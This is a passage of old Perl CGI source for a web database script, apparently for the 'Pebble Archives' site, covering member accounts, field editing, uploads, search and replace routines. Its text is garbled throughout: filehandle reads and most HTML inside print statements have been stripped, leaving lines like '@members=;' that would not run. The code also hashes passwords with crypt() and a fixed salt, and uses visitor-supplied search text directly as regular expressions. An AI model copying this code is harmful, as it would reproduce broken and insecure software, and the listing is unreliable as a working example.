Log out "; print qq( ); }; #****END MEMBER PAGE SUBROUTINE #*****BEGIN ADD MEMBER SUBROUTINE sub addmember { if ($value[0] eq "admin") { print ""; &members; exit; }; &putlock; open(FILE,"<$members") or &error("Could not open $members"); @members=; close FILE; &removelock; foreach (@members) { ($user,$pass)=split(/::/); if ($value[0] eq $user) { print ""; &members; exit; }; }; $pass=crypt($value[1],7); $line="$value[0]::$pass\n"; &putlock; open(FILE,">>$members") or &error("Could not open $members"); print FILE ("$line"); close FILE; &removelock; &members; }; #****END ADD MEMBER SUBROUTINE #*****BEGIN DELETE MEMBER SUBROUTINE sub deletemember { &putlock; open(FILE,"<$members") or &error("Could not open $members"); @oldlist=; close FILE; &removelock; foreach (@oldlist) { ($user,$pass)=split(/::/); if ($user ne $user_data{member}) {push(@newlist,$_)}; }; &putlock; open(FILE,">$members") or &error("Could not open $members"); print FILE (@newlist); close FILE; &removelock; &members; }; #****END DELETE MEMBER SUBROUTINE #****BEGIN ADD/REMOVE MEMBERS SUBROUTINE sub members { &checkpass; print "\n

Members

\n"; &putlock; open(FILE,"<$members"); @members=; close FILE; &removelock; @tmp=(); foreach (@members) { push (@tmp,$_) if /^.+::/; } @members=@tmp; $len=@members; $len=15 if $len>15; if ($len==0) { print "No members have been created yet\n"; } else { print "
\n"; print "
"; print "\n"; print "
"; }; print "
Add A Member
User Name
Password

Return to Administration Page "; }; #****END ADD/REMOVE MEMBERS SUBROUTINE #*******BEGIN NEXTPREV SUBROUTINE***** # THIS SUBROUTINE REPLACES THE PAGENUM CRITERIA, THEN # RUNS THE USERSEARCH ROUTINE sub nextprev { if ($user_data{cgifunction} =~ /^(Next Page|Nächste Seite|Page suivante|Pagina Successiva|Página Siguiente|Volgende pagina|Próxima Página)$/) {$n=1} else {$n=-1}; $p=$user_data{pagenum}+$n; $q=$user_data{query}; $replace="pagenum=$p"; $find="pagenum=$user_data{pagenum}"; $q=~s/$find/$replace/; #EMPTY VALUE AND USER_DATA ARRAYS BEFORE RUNNING READPARSE @value=(); %user_data=(); &readparse($q); &usersearch if ($user_data{cgifunction} =~/^(Search|Suchen|Chercher|Cerca|Buscar|Zoeken|Pesquisar)$/); &adminsearch if ($user_data{cgifunction} eq "Search/modify"); }; #*******END NEXTPREV SUBROUTINE******* #*******BEGIN RENAMEFIELD SUBROUTINE*** sub renameField { &checkpass; $select = $value[0]; $select++; $value[1]=~s/ *, */,/g if $value[1]=~/::list/; #remove spaces around comma open(FIELDS,"<$fieldnames"); @fields=; close FIELDS; $newfield="$value[1]\n"; $fields[$select]=$newfield; open(RESULT,">$fieldnames"); print RESULT (@fields); close RESULT; #****RETURN TO FIELD MODIFY SCREEN**** @value=(); &fieldmod; }; #*******END RENAME FIELD SUBROUTINE**** #*******BEGIN INSERTFIELD SUBROUTINE**** sub insertField { &checkpass; $select = $value[0]; $select++; $value[1]=~s/ *, */,/g if $value[1]=~/::list/; #remove spaces around comma open(FIELDS,"<$fieldnames"); @fields=; close FIELDS; $numfields=@fields; $newfield="$fields[$select]$value[1]\n"; $fields[$select]=$newfield; open(RESULT,">$fieldnames"); print RESULT (@fields); close RESULT; &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open(RECORDS,"<$logfile"); @records = ; close RECORDS; &removelock; #remove lock file foreach (@records) { chop($_); @linedata=split(/::/,$_); $newdata="$linedata[$select]::"; $linedata[$select]=$newdata; $newline=join('::',@linedata); $_="$newline\n"; }; open(RECORDS,">$logfile"); print RECORDS (@records); close RECORDS; #***RESET PREFERENCES**** foreach (@sequence) {if ($_>$select-1) {$_++}}; foreach (@SFsequence) {if ($_>$select-1) {$_++}}; push(@sequence,$select); push(@SFsequence,$select); $reportData[2]=join(':',@sequence); $reportData[24]=join(':',@SFsequence); for ($i=$#fields;$i>=$select;$i--) { $num=$i+1; $searchTemplate=~s/\$data\[$i\]/\$data\[$num\]/g; $formTemplate=~s/\$data\[$i\]/\$data\[$num\]/g; } $searchTemplate=~s/\n/::/g; $formTemplate=~s/\n/::/g; $reportData[11]=$searchTemplate; $reportData[13]=$formTemplate; open (REPORT,">$reportdata") or &error("Could not open $reportdata for writing"); foreach (@reportData) { print REPORT ("$_\n"); }; close REPORT; #****RETURN TO FIELD MODIFY SCREEN**** @value=(); &fieldmod($select); }; #*******END INSERTFIELD SUBROUTINE****** #*******BEGIN DELETEFIELD SUBROUTINE**** sub deleteField { &checkpass; $select = $value[0]; $select++; open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fields=; close FIELDS; foreach $field (@fields) { if ($field ne $fields[$select]) { push(@result,$field); } } open(FIELDS,">$fieldnames") or &error("Could not open $fieldnames"); print FIELDS (@result); close FIELDS; &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open(RECORDS,"<$logfile") or &error("Could not open $logfile"); @records=; close RECORDS; &removelock; #remove lock file foreach $record (@records) { chop($record); @linedata=split(/::/,$record); push(@deleteset,$linedata[0]); @newline=(""); $count=0; foreach $item (@linedata) { if ($count != $select) { push(@newline,$item); }; $count++; }; shift(@newline); $record = join('::',@newline)."\n"; }; open(RECORDS,">$logfile") or &error("Could not open $logfile"); print RECORDS (@records); close RECORDS; #DELETE IMAGES ($fieldname,$type)=split(/::/,$fields[$select]); chomp($fieldname); if ($type=~/upload/) { foreach $value (@deleteset) { $uploadpath="${uploadsdir}${value}_$fieldname"; unlink <$uploadpath*>; } } #END DELETE IMAGES #***RESET PREFERENCES**** @result=(); foreach (@sequence) { if ($_==$select) {$_=-1} if ($_>$select-1) {$_--} if ($_!=-1) {push(@result,$_)}; }; @sequence=@result; @result=(); foreach (@SFsequence) { if ($_==$select) {$_=-1} if ($_>$select-1) {$_--} if ($_!=-1) {push(@result,$_)}; }; @SFsequence=@result; $reportData[2]=join(':',@sequence); $reportData[24]=join(':',@SFsequence); $num=$select-1; $searchTemplate=~s/\$data\[$num\]/XXXX/g; $formTemplate=~s/\$data\[$num\]/XXXX/g; for ($i=$select;$i<$#fields;$i++) { $num=$i-1; $searchTemplate=~s/\$data\[$i\]/\$data\[$num\]/g; $formTemplate=~s/\$data\[$i\]/\$data\[$num\]/g; } $searchTemplate=~s/\n/::/g; $formTemplate=~s/\n/::/g; $reportData[11]=$searchTemplate; $reportData[13]=$formTemplate; open (REPORT,">$reportdata") or &error("Could not open $reportdata for writing"); foreach (@reportData) { print REPORT ("$_\n"); }; close REPORT; #****RETURN TO FIELD MODIFY SCREEN**** @value=(); &fieldmod; }; #*******END DELETEFIELD SUBROUTINE****** #*******BEGIN FIELDMOD SUBROUTINE******** sub fieldmod { &checkpass; if (length($_[0])>0) { $select=$_[0]; } else { $select=-1; } open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fields=; close FIELDS; shift(@fields); $num=@fields; $num++; print "

$var

"; print " Modify Fields

Modify Field List



Remember, whenever you add or remove fields, you need to change your field selections on the 'customize pages' screen.

To create a text box: Click Insert or Redefine field. Enter the field\'s name in the first prompt box. Enter the word \"text\" in the second prompt box. Enter the SIZE in number of characters for the new text box.

To create a checkbox: Click Insert or Redefine field. Enter the field\'s name in the first prompt box. Enter the word \"checkbox\" in the second prompt box. That's it.

To create a selection list: Click Insert or Redefine field. Enter the field\'s name in the first prompt box. Enter the word \"list\" in the second prompt box. In the third prompt box, enter the list of values, seperated by a comma without spaces around the comma. For example.
Fire Engine Red,Lemon Yellow,Medium Blue,Salmon,Crimson,Ash White

To create a textarea box for comments: Click Insert or Redefine field. Enter the field\'s name in the first prompt box. Enter the word \"comment\" in the second prompt box. In the third box, enter the number of rows high you wish to make your comment box. It will have a width of 60 characters.

To create an upload field with the option to upload with a web browser, enter the word \"upload\" in the second prompt box. In the third box, for security, enter the maximum size in Kilobytes for uploaded pictures or files. You must have the CGI.pm module to use this feature"; if ($useCart) { print "

SHOPPING CART USERS: There are 2 additional field types for use with the shopping cart module: variance and price-variance. A variance field will allow you to enter a list of options into that field, and the options will appear in a select list on the search results screen. For example, you could create a variance field named \"colors\", then, enter \"red,green,gold\" into the field, and the user will be able to choose from those three colors at checkout.

A price-variance field is similar to a variance field, however you may enter the price of each option. For example, you could have a field for \"Size\" and enter \"Small,4.95,Medium,7.50,Large,9.95,X-Large,12.25\" into the text box when you add the record. The user will see a list of sizes, with the price next to each one. The price which the user chooses will be the amount added to the shopping cart. If a price-variance field exists and is not empty, the price variance field will always override the \"price\" field declared in the Shopping Cart Setup Screen."; } print "

Return to Administration Page

To insert a field at the top of the list, do not select anything.
Click here to clear the selection

"; }; #*******END FIELDMOD SUBROUTINE********** #*******BEGIN USER SUBROUTINE************* sub user { &language; open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fieldsData=; close FIELDS; $usemulti=0; foreach (@fieldsData) { ($field,$type)=split(/::/); push(@fields,"$field\n"); push(@types,"$type"); $usemulti=1 if (($type=~/upload/)&&($useradd)); }; shift(@fields); shift(@types); if ($searchPage ne "${cgilocation}?cgifunction=user") { print "\n"; print ""; exit; }; print " Database Search\n"; &bodytag; print "$searchHeader"; print "$instructions" if $searchInfo; if ((length($reqfields)>0)&&($useradd)) { print "

* $indicatesRequiredFields
"; } print "\n"; if (length($user_data{cgilanguage})>0) { print "\n"; } if ($searchbox) { print "Enter your search words
Show records containing of the search words. "; } else { print " "; $ftcount=0; foreach (@SFsequence) { $field=$fields[$_]; &gettype($types[$_]); chop($field); print ""; if ($type eq "text") { print "\n"; }; if ($type eq "checkbox") { print "\n"; }; if ($type eq "list") { print "\n"; }; if ($type eq "comment") { print "\n"; }; if ($type eq "upload") { print "\n"; }; if ($type eq "variance") { print "\n"; }; if ($type eq "price-variance") { print "\n"; }; $ftcount++; }; print "
"; print "* " if ($reqfields=~/(^|\,)$_($|\,)/)&&($useradd); print "$field
"; print "Enter each option with a comma in-between.
" if $useradd; print "
"; if ($useradd) { print "Alternate option and price with a comma in-between.
for example: small,9.95,medium,12.95,large,15.95,X-large,18.95

"; }; print "

"; if (($usersearch)&&(!$useradd)) { print ""; print " "; } elsif ((!$usersearch)&&($useradd)) { print ""; print " "; } elsif (($usersearch)&&($useradd)) { print " "; print " "; }; print ""; } #END OF SEARCHBOX IF-ELSE print "

"; }; #*******END USER SUBROUTINE*************** #******BEGIN BODYTAG SUBROUTINE******** sub bodytag { print "0; print " BACKGROUND=\"$background\"" if length($background)>0; print " TEXT=\"$textcolor\"" if length($textcolor)>0; print " LINK=\"$linkcolor\"" if length($linkcolor)>0; print " VLINK=\"$vlinkcolor\"" if length($vlinkcolor)>0; print ">\n"; } #******END BODYTAG SUBROUTINE #********BEGIN ADD SUBROUTINE************** sub add { &checkpass if $useradd!=1; &language; open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fieldsData=; close FIELDS; foreach (@fieldsData) { ($field,$type)=split(/::/); push(@fields,"$field\n"); push(@types,"$type"); }; @value=(); $body="The following record has been added to the $cgilocation database.\n\n"; $value[0]=time(); $fcount=1; chomp(@fields); shift(@fields); $missingReqs=0; $isEmpty=1; foreach $fname (@fields) { $value[$fcount]=$user_data{$fname}; $reqnum=$fcount-1; if ((length($user_data{$fname})==0)&&($reqfields=~/(^|\,)$reqnum($|\,)/)) { $reqerror.="$fname is a required field.

"; $missingReqs=1; } if (length($user_data{$fname})>0) {$isEmpty=0}; $body.="$fname\: $user_data{$fname}\n"; &gettype($types[$fcount]); #UPLOAD IF IT IS AN UPLOAD FIELD if (($type eq "upload")&&(length($user_data{$fname})>0)&&(!$missingReqs)) { if ($user_data{$fname}=~/([^\\\/\:]+$)/) {$INfilename=lc($1)}; $INfilename=~s/[^a-zA-Z0-9\_\.]//g; if ($INfilename=~/\.([a-zA-Z0-9]+)$/) {$extension=$1}; if ($typeexts!~/,*${extension},*/i) { &error("Only the following filetypes are allowed. $typeexts"); } $OUTfilename="${value[0]}_${fname}_${INfilename}"; $value[$fcount]="${uploadsURL}$OUTfilename"; $uploadsize=0; @filecontents=(); while ($bytesread=read($user_data{$fname},$buffer,1024)) { $uploadsize+=length($buffer); push(@filecontents,$buffer); } if ($uploadsize>$typesize*1000) { &error("upload size = $uploadsize bytes.

The upload can only be a maximum of ${typesize}KB") }; open (OUTFILE,">${uploadsdir}${OUTfilename}") or &error("Could not open ${uploadsdir}$OUTfilename for writing"); binmode(OUTFILE); print OUTFILE (@filecontents); close OUTFILE; close ($user_data{$fname}); } #END UPLOAD $fcount++; }; if ($isEmpty) {$reqerror.="No data was submitted

"}; if (($missingReqs)||($isEmpty)) { &bodytag; print "Your record was not added for the following reasons:

\n"; print "$reqerror"; print qq(Return to previous page); exit; } #pop(@value); #** Remove cgifunction from @value array ** #if ($user_data{pagenum}>0) {pop(@value)}; #** remove pagenum from @value array foreach (@value) { $_=~s/\r/\n/g; $_=~s/\n\n/\n/g; $_=~s/\n/
/g; }; #******* Remove delimiter characters and leading spaces********* foreach $item (@value) { $item=~s/^( *)//ge; # remove leading spaces from entries $item=~s/:/':'/ge; # replace delimiting character from entries }; #****Check to see if entry is already used**** &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open(READLOG,"<$logfile"); @entries = ; close READLOG; &removelock; #remove lock file $unique="true"; $line = $entries[$#entries]; @data = split(/::/,$line); $lastID=shift(@data); pop(@data); $comp1=join('::',@data); @data=@value; shift(@data); $comp2=join('::',@data); if ($comp1 eq $comp2) { $unique="false"; }; if ($lastID >= $value[0]) { $value[0] = $lastID + 1; } #********Add values to $logfile file******************* if($unique eq "true") { &putlock; #place a lock file in the uploads dir to prevent simultanious writing. push(@value,"admin"); open(LOGFILE,">>$logfile") or &error("Could not open $logfile"); $line=join("::",@value); print LOGFILE ("$line\n"); close(LOGFILE); &removelock; #remove lock file. } else { print ""; print "That entry matches the previous entry exactly. It is probably a duplicate entry. Submission cancelled."; exit; }; #****RETURN TO MAINTENANCE SCREEN**** &thankYouPage; if (length($email)>0) { if ($^O=~/win/i) { open (MAIL,">${uploadsdir}mail.txt"); print MAIL ("$body\n"); close MAIL; $tmp=`$sendmail ${uploadsdir}mail.txt -s \"Oscar, The Pebble Archives has been Updated\" -t $email -q`; } else { open (MAIL,"|$sendmail -t") or &error("Could not open $sendmail"); print MAIL ("To: $email\nFrom: $email\n"); print MAIL ("Subject:Oscar, The Pebble Archives has been Updated\n$body\n"); close MAIL; } } }; #*********END ADD SUBROUTINE******************** #*********BEGIN THANK YOU PAGE****************** sub thankYouPage { &language; @tmp=split("\n",$body); shift(@tmp); shift(@tmp); if ($tmp[$#tmp - 1]=~/^SUBMITTED BY/) { pop(@tmp); pop(@tmp) } $showdata=join("
\n",@tmp); print "Database Entry Added"; &bodytag; if (!length($thankYouPage)) { print "

$addresponse

"; print "$returntoprevious

"; print "

$showdata"; } else { $entirePage=""; open (THANK,"<$thankYouPage") or &error("Could not open $thankYouPage"); while () {$entirePage.="$_"}; close THANK; $entirePage=~s/\$showdata/$showdata/g; $entirePage=~s/(\$if[^\}]*\})/&getIf($1)/ge; $entirePage=~s/\$data\[([0-9]+)\]/$value[$1 + 1]/g; $entirePage=~s/\$escape\[([0-9]+)\]/&escape($value[$1 + 1])/ge; $entirePage=~s/\$id/$value[0]/g; $entirePage=~s/\$datecreated/&getDate($value[0])/ge; $entirePage=~s/\$membername/$value[$#value]/g; print "$entirePage"; } } #*********END THANK YOU PAGE****************** #**********BEGIN SEARCH SUBROUTINE****************** sub adminsearch { &memberpass; print " Admin Search \n

Administration Search Page

"; &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open(LOGFILE,"<$logfile") or &error("Could not open $logfile"); @entries = ; close (LOGFILE); chomp(@entries); &removelock; #remove lock file print "\n"; print "
\n"; open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fieldsData=; close FIELDS; foreach (@fieldsData) { ($field,$type)=split(/::/); push(@fields,"$field\n"); push(@types,"$type"); }; $fcount=1; @value=(); shift(@fields); @fieldnames=@fields; chomp(@fieldnames); foreach (@fields) { chop($_) if (/\n$/); $value[$fcount]=$user_data{$_}; $fcount++; }; if ($userid ne "admin") {push(@value,"^$userid\$")}; shift(@value); unshift(@value,$user_data{date_created}); $header= ""; if ($limitAdminColumns!=1) { foreach $field (@fields) { $header .= ""; }; } else { foreach (@sequence) { $header .= ""; }; }; print "$header\n"; #***** BEGIN STEPPING THROUGH ALL THE DATA LINES***** #***** PARSE THE DATA ***************** foreach $line (@entries) { @fields = split(/::/,$line); $ID = shift(@fields); $dateCreated=&getDate($ID); unshift(@fields,$dateCreated); # *** IF LINE MATCHES PATTERN *********** $display="true"; $numPairs=@fields; if (length($user_data{record_owned_by})) { $display="false" if $fields[$#_] ne $user_data{record_owned_by}; } for ($i=0;$i<$numPairs;$i++) { next unless $value[$i]; if ($value[$i]=~/[0-9][0-9]?\/[0-9][0-9]?\/[0-9][0-9]+/) { $_=$value[$i]; @temp=m/([0-9][0-9]?\/[0-9][0-9]?\/[0-9][0-9]+)/g; $temp[0]=&datetonum($temp[0]); $temp[1]=&datetonum($temp[1]); if (/^([><=]+)/) {$temp3=$1}; $criteria=$temp3.$temp[0]; if (/^between/i) {$criteria="between $temp[0] and $temp[1]"}; if ($fields[$i]=~/[0-9][0-9]?\/[0-9][0-9]?\/[0-9][0-9]+/) { $dataval=&datetonum($fields[$i]); } else { $display="false"; }; } else { $dataval=$fields[$i]; $criteria=$value[$i]; }; $_=$dataval; $criteria=~s/ or /\|/gi; if (($criteria=~/^(\"|\').*(\"|\')$/)&&($1 eq $2)) { $criteria=~s/^./\^/; $criteria=~s/.$/\$/; } if ($criteria=~/^\*.*\*$/) { $criteria=~s/^\*//; $criteria=~s/\*$//; } if ($criteria=~/\*$/) { $criteria="^".$criteria; $criteria=~s/\*$//; } if ($criteria=~/^\*/) { $criteria.="\$"; $criteria=~s/^\*//; } #remove currency and commas if (/^[\d\£\$\,\.]+$/) { $_=~s/[\£\$\,]//g; $criteria=~s/[\£\$\,]//g unless $criteria=~/\$$/; } if ($criteria!~/^\/.*\/$/) { #escape regexp characters unless criteria has / / $criteria=~s/([\*\+\?\.\/\(\)])/\\$1/g; } else { $criteria=~s/^\///; $criteria=~s/\/$//; } $firstchar=substr($criteria,0,1); $combo="false"; if (!((/$criteria/i)||($criteria eq "")|| ($firstchar eq '<')||($firstchar eq '>')|| ($criteria=~/ and /i))) { $display="false"; }; if ((substr($criteria,0,2) eq '<=')&&($_ > substr($criteria,2,99))) { $combo="true"; $display="false"; }; if ((substr($criteria,0,2) eq '>=')&&($_ < substr($criteria,2,99))) { $combo="true"; $display="false"; }; if (($combo ne "true")&&(substr($criteria,1,1) ne '=')) { if ((substr($criteria,0,1) eq '<')&&($_ >= substr($criteria,1,99))) { $display="false"; }; if ((substr($criteria,0,1) eq '>')&&($_ <= substr($criteria,1,99))) { $display="false"; }; if ($criteria=~/^between.* and /i) { $andpos = index($criteria,'and'); if ($andpos<8) {$display="false";}; $val1 = substr($criteria,7,$andpos); $val2 = substr($criteria,$andpos+4,99); if (($_<$val1)||($_>$val2)) { $display="false"; }; }; if (($criteria=~/ and /i)&&(!($criteria=~/^between/i))) { @cdata=split(/ and /i,$criteria); foreach $citem (@cdata) { if(!(/$citem/i)) {$display="false";}; }; }; }; }; #***** DISPLAY THE LINE **************** shift(@fields); if (!$user_data{pagenum}) { $user_data{pagenum}=1; $querystring=~s/cgifunction/pagenum=1\&cgifunction/; }; $pagenum=$user_data{pagenum}; $min=($pagenum-1)*20; $max=$pagenum*20; if ($display eq "true") { $count++; if (($count>$min)&&($count<=$max)) { print "\n"; print ""; print ""; if ($limitAdminColumns!=1) { foreach $n (@fields) { print ""; }; } else { foreach (@sequence) { $n=$fields[$_]; print ""; }; }; }; push(@foundset,$ID); }; print ""; }; print "\n
DeleteDate
Created
$field$fields[$_]
$dateCreated"; if ($n eq "") {$n = ' ';}; $n=~s/[\r\n]/
/g; print "$n
"; if ($n eq "") {$n = ' ';}; $n=~s/[\r\n]/
/g; print "$n
\n"; $foundsetstring=join(':',@foundset); print "
\n"; print "\n"; print "\n"; print "\n"; print "\n"; print "\n"; print "\n"; print "\n"; print "\n"; print "\n"; print "
\n"; if ($count>0) { print "

Click on an entry to modify it.


EXPORT:
Export all $count records to browser as a delimited file.
Include ID, Date, and Owner (leave unchecked to import the data later)? \ \;
This will create a plain text file. Choose Save-As from the File menu to save."; if ($userid eq "admin") { print "
REPLACE VALUES:
In the $count found records only, replace the contents of \nwith
You may use \$data[#] to insert values of other fields.
See the instructions for using templates on the \"Customize Pages\" screen for details

"; } print "
"; #BEGIN NEXT/PREV BUTTONS $min++; if ($max>$count) {$max=$count}; print " Results $min - $max of $count
"; if ($min>1) {print "
"}; if ($max<$count) {print "
"}; print "
"; #END NEXT/PREV BUTTONS } else { print "No records were found

"; }; #CREATE LINKS TO ANY PAGENUMBER print "
Go to page\:"; $numpages=int($count/20); $myquery=$querystring; if ($count/20>$numpages) {$numpages++;}; for ($i=1;$i<=$numpages;$i++) { $myquery=~s/pagenum=[0-9]*/pagenum=$i/; print "$i "; }; print "
Return to Administration Page\n"; print "

Return to home page\n"; }; #*********END OF ADMINSEARCH SUBROUTINE************ #*********BEGIN REPLACE SUBROUTINE***************** sub replace { &memberpass; &putlock; open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fieldsData=; close FIELDS; my $fcount=0; foreach (@fieldsData) { ($field,$type)=split(/::/); push(@fields,"$field\n"); push(@types,"$type"); if ($field eq $user_data{replace_field}) { $fieldNum=$fcount; last; } $fcount++; }; chomp(@fields); open(FILE,"<$logfile") or &error("Could not open $logfile"); @lines=; close FILE; chomp(@lines); foreach (@lines) { @data=split('::'); next unless $user_data{foundset}=~/(^|:)$data[0](:|$)/; next unless ($data[$#data] eq $userid) or ($userid eq "admin"); $replace_val=$user_data{replace_val}; $replace_val=~s/\$data\[(\d+)\]/$data[$1+1]/g; $replace_val=~s/\$escape\[([0-9]+)\]/&escape($data[$1+1])/ge; $replace_val=~s/\$fields\[([0-9]+)\]/$fields[$1+1]/g; $replace_val=~s/\$id/$data[0]/g; $replace_val=~s/\$datecreated/&getDate($data[0])/ge; $replace_val=~s/\$membername/$data[$#data]/g; $data[$fieldNum]=$replace_val; $_=join('::',@data); $count++; } open(FILE,">$logfile") or &error("Could not open $logfile"); foreach (@lines) { print FILE "$_\n"; } close FILE; &removelock; print qq( ); if ($userid eq "admin") { &admin; } else { &memberpage; } } #*********END REPLACE SUBROUTINE******************* #*********BEGIN ISMATCH ROUTINE***************** sub isMatch { # *** IF LINE MATCHES PATTERN *********** my $display="true"; my @data=(@_); my $id=$data[0]; my $dataval,$criteria; shift(@data); #**Remove hidden key from view** my $owner=pop(@data); #**Remove membername from view** chomp($owner); if (($limitMemberSearch)&&($owner ne $userid)) { return 0; } my $numPairs=@fields; $numPairs=1 if ($searchbox)&&(exists($user_data{all_search})); for ($i=0;$i<$numPairs;$i++) { unless ($user_data{all_search}) {next unless $value[$i]}; if ($value[$i]=~/[0-9][0-9]?\/[0-9][0-9]?\/[0-9][0-9]+/) { $_=$value[$i]; my @temp=m/([0-9][0-9]?\/[0-9][0-9]?\/[0-9][0-9]+)/g; $temp[0]=&datetonum($temp[0]); $temp[1]=&datetonum($temp[1]); if (/^([><=]+)/) {$temp3=$1}; $criteria=$temp3.$temp[0]; if (/^between/i) {$criteria="between $temp[0] and $temp[1]"}; if ($data[$i]=~/[0-9][0-9]?\/[0-9][0-9]?\/[0-9][0-9]+/) { $dataval=&datetonum($data[$i]); } else { return 0; }; } else { $dataval=$data[$i]; $criteria=$value[$i]; }; $_=$dataval; #*** BEGIN SINGLE BOX *** if (($searchbox)&&(exists($user_data{all_search}))) { $_=join('::',@data); $criteria=$user_data{all_search}; if (!exists($user_data{allany})) { $user_data{allany}=" and "; } $criteria=~s/ /$user_data{allany}/g; } #*** END SINGLE BOX $criteria=~s/ or /\|/gi; if (($criteria=~/^(\"|\').*(\"|\')$/)&&($1 eq $2)) { $criteria=~s/^./\^/; $criteria=~s/.$/\$/; print "criteria = $criteria
"; } if ($criteria=~/^\*.*\*$/) { $criteria=~s/^\*//; $criteria=~s/\*$//; } if ($criteria=~/\*$/) { $criteria="^".$criteria; $criteria=~s/\*$//; } if ($criteria=~/^\*/) { $criteria.="\$"; $criteria=~s/^\*//; } #remove currency and commas if (/^[\d\£\$\,\.]+$/) { $_=~s/[\£\$\,]//g; $criteria=~s/[\£\$\,]//g unless $criteria=~/\$$/; } if ($criteria!~/^\/.*\/$/) { #escape regexp characters unless criteria has / / $criteria=~s/([\*\+\?\.\/\(\)])/\\$1/g; } else { $criteria=~s/^\///; $criteria=~s/\/$//; } my $firstchar=substr($criteria,0,1); my $combo="false"; if (!((/$criteria/i)||($criteria eq "")|| ($firstchar eq '<')||($firstchar eq '>')|| ($criteria=~/ and /i))) { return 0; }; if ((substr($criteria,0,2) eq '<=')&&($_ > substr($criteria,2,99))) { $combo="true"; return 0; }; if ((substr($criteria,0,2) eq '>=')&&($_ < substr($criteria,2,99))) { $combo="true"; return 0; }; if (($combo ne "true")&&(substr($criteria,1,1) ne '=')) { if ((substr($criteria,0,1) eq '<')&&($_ >= substr($criteria,1,99))) { return 0; }; if ((substr($criteria,0,1) eq '>')&&($_ <= substr($criteria,1,99))) { return 0; }; if ($criteria=~/^between.* and /i) { my $andpos = index($criteria,'and'); if ($andpos<8) {return 0;}; my $val1 = substr($criteria,7,$andpos); my $val2 = substr($criteria,$andpos+4,99); if (($_<$val1)||($_>$val2)) { return 0; }; }; if (($criteria=~/ and /i)&&(!($criteria=~/^between/i))) { my @cdata=split(/ and /i,$criteria); foreach $citem (@cdata) { if(!(/$citem/i)) {return 0;}; }; }; }; }; return 1; } #*********END ISMATCH ROUTINE***************** #*********BEGIN GETIF ROUTINE***************** sub getIf { if ($_[0]=~/\(([^\)]*)\)[^\{]*\{([^\}]*)\}/) { my $condition=$1; my $text=$2; $condition=~s/\$data\[(\d+)\]/$data[$1]/g; if ($condition!~/^\!/) { if ($condition) {return "$text"} else {return ""}; } else { $condition=~s/^\!//; unless ($condition) {return "$text"} else {return ""}; } } } #*********END GETIF ROUTINE***************** #**********BEGIN USERSEARCH SUBROUTINE****************** #*****Same as Search except the results**************** #*****Do not link to maintenance *************** # sub usersearch { if ($usersearch!=1) { if ($membersCanSearch) { &memberpass; } else { &checkpass; }; }; &language; if ($usesql==1) {&sqlsearch;exit;} $alt=0; pop(@value); #** Remove cgifunction from @value array ** pop(@value); #** Remove pagnum from @value array ** shift(@value); #remove ID from @value array ** print "Search Results page $user_data{pagenum}"; &wtcart::resultPageScript if $useCart; &bodytag; print "$reportHeader\n"; #print and save search criteria while (($k,$v)=each(%user_data)) { if (($k!~/^(cgifunction|cgilanguage|pagenum|x|y|anyall|cgisort|cgisortorder)$/i)&& (length($v)>0)) { $usercriteria.="$k=$v "; }; }; if (length($searchlog)) { unless (-e $searchlog) {&error("Could not locate $searchlog")}; &putlock; open (SEARCHES,">>$searchlog") or &error("could not write to $searchlog. Check the file\'s permissions."); @t=(localtime(time()));$t[4]++;$t[5]+=1900; print SEARCHES ("$t[4]/$t[3]/$t[5] $t[2]:$t[1]:$t[0]\t"); print SEARCHES ("$ENV{REMOTE_ADDR}\t"); print SEARCHES ("$usercriteria\n"); close SEARCHES; &removelock; } print "
$usercriteria
\n" if $showCriteria; if (!$user_data{pagenum}) { $user_data{pagenum}=1; $querystring=~s/cgifunction/pagenum=1\&cgifunction/; }; $pagenum=$user_data{pagenum}; if ($searchTemplateOn) { print "\n"; } else { $cellpadding=""; if ($hideBorder==1) {$Border=0; $cellpadding=" CELLPADDING=5 CELLSPACING=0 "} else {$Border=1}; print "\n"; } open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames"); @fieldsData=; close FIELDS; foreach (@fieldsData) { ($field,$type)=split(/::/); push(@fields,"$field\n"); push(@types,"$type"); }; shift(@fields); shift(@types); #POPULATE @VALUE INDEPENDENT OF SEQUENCE $fcount=0; foreach (@fields) { chop($_); $value[$fcount]=$user_data{$_}; $fcount++; }; #PARSE/SORT ROUTINE if ($user_data{cgisort}) { $reportSort=$user_data{cgisort}; $reportOrder=$user_data{cgisortorder}; } #...populate sorting array $sortcount=0; $textsort=0; $totalBytes=0; &putlock; #place a lock file in the uploads dir to prevent simultanious writing. open(LOGFILE,"<$logfile") or &error("Could not open $logfile"); while () { $byteCount{$sortcount}=$totalBytes; $totalBytes+=length($_); $line=$_; my @data=split(/::/,$line); unless (&isMatch(@data)) {next}; push(@entries,$line); $val=lc($data[$reportSort]); if ($val=~/^[0-9][0-9]?\/[0-9][0-9]?\/[0-9][0-9]*$/) {$val=&datetonum($val)}; if ($val=~/[a-zA-Z]/) {$textsort=1;$val=~s/[^a-zA-Z0-9]//g}; if ($val=~/^[\d\£\$\,\. ]+$/) {$val=~s/[\£\$\, ]//g}; $sortarray{$sortcount}=$val; $val2=lc($data[$reportSort2]); if ($val2=~/^[0-9][0-9]?\/[0-9][0-9]?\/[0-9][0-9]*$/) {$val2=&datetonum($val2)}; if ($val2=~/[a-zA-Z]/) {$textsort2=1;$val2=~s/[^a-zA-Z0-9]//g}; if ($val2=~/^[\d\£\$\,\. ]+$/) {$val2=~s/[\£\$\, ]//g}; $sortarray2{$sortcount}=$val2; $sortcount++; } if ($reportOrder==1) {$bottom="\$a";$top="\$b"} else {$top="\$a";$bottom="\$b"}; if ($textsort) {$oper="cmp"} else {$oper="<=>"}; if ($reportOrder2==1) {$bottom2="\$a";$top2="\$b"} else {$top2="\$a";$bottom2="\$b"}; if ($textsort2) {$oper2="cmp"} else {$oper2="<=>"}; eval('@sortarray=sort { $sortarray{'.$top.'} '.$oper.' $sortarray{'.$bottom.'} or $sortarray2{'.$top2.'} '.$oper2.' $sortarray2{'.$bottom2.'} } keys 